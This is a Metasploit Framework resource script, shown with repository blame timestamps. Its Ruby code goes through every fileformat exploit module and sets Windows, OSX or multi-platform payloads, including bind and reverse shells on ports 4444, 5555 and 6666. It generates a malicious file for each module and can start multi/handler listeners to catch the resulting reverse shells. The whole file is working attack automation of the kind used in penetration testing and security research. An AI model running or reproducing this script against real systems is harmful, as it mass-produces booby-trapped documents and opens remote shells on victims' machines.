metasploit-framework/scripts/resource/fileformat_generator.rc

110 lines
3.3 KiB
Plaintext
Raw Normal View History

<ruby>
if (framework.datastore['WIN_PAYL'] != nil)
2015-06-12 20:23:51 +00:00
winpayl = framework.datastore['WIN_PAYL']
else
2015-06-12 20:23:51 +00:00
# no payload defined -> we use a messagebox payload :)
winpayl = "windows/messagebox"
end
if (framework.datastore['OSX_PAYL'] != nil)
2015-06-12 20:23:51 +00:00
osxpayl = framework.datastore['OSX_PAYL']
else
2015-06-12 20:23:51 +00:00
# no payload defined -> we use a generic bind payload :)
osxpayl = "generic/shell_bind_tcp"
end
if (framework.datastore['MULTI_PAYL'] != nil)
2015-06-12 20:23:51 +00:00
multipayl = framework.datastore['MULTI_PAYL']
else
2015-06-12 20:23:51 +00:00
# no payload defined -> we use a generic bind payload :)
multipayl = "generic/shell_bind_tcp"
end
if (framework.datastore['LHOST'] == nil and (winpayl =~ /reverse/ or osxpayl =~ /reverse/ or multipayl =~ /reverse/))
2015-06-12 20:23:51 +00:00
print_error("please define a global LHOST Variable")
return
else
2015-06-12 20:23:51 +00:00
localIP = framework.datastore['LHOST']
end
if (framework.datastore['VERBOSE'] == "true")
2015-06-12 20:23:51 +00:00
verbose = 1 #true
else
2015-06-12 20:23:51 +00:00
verbose = 0
end
if (framework.datastore['HANDLERS'] == "true")
2015-06-12 20:23:51 +00:00
handlers = 1 #true
else
2015-06-12 20:23:51 +00:00
handlers = 0
end
windows = false
multi = false
osx = false
framework.exploits.each do |exploit,mod|
2015-06-12 20:23:51 +00:00
if(exploit.to_s =~ /fileformat/)
print_line("generating fileformat exploit: #{exploit.to_s}")
run_single("use #{exploit}")
if(exploit.to_s =~ /windows/)
#we need this info for starting the handlers
windows = true
#setting the payload
run_single("set PAYLOAD #{winpayl}")
if(winpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 4444")
end
elsif(exploit.to_s =~ /multi/)
#we need this info for starting the handlers
multi = true
#setting the payload
run_single("set PAYLOAD #{multipayl}")
if(winpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 5555")
end
elsif(exploit.to_s =~ /osx/)
#we need this info for starting the handlers
osx = true
#setting the payload
run_single("set PAYLOAD #{osxpayl}")
if(osxpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 6666")
end
end
extension = active_module.datastore['FILENAME'].split('.').last
filename = exploit.split('/').last
run_single("set FILENAME #{filename}.#{extension}")
run_single("exploit")
print_line
end
end
if(handlers == 1)
2015-06-12 20:23:51 +00:00
#starting some handlers for reverse connections
run_single("use exploit/multi/handler")
if(windows == true and winpayl =~ /reverse/)
run_single("set PAYLOAD #{winpayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 4444")
run_single("exploit -j")
end
if(multi == true and multipayl =~ /reverse/)
run_single("set PAYLOAD #{multipayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 5555")
run_single("exploit -j")
end
if(osx == true and osxpayl =~ /reverse/)
run_single("set PAYLOAD #{osxpayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 6666")
run_single("exploit -j")
end
end
run_single("back")
</ruby>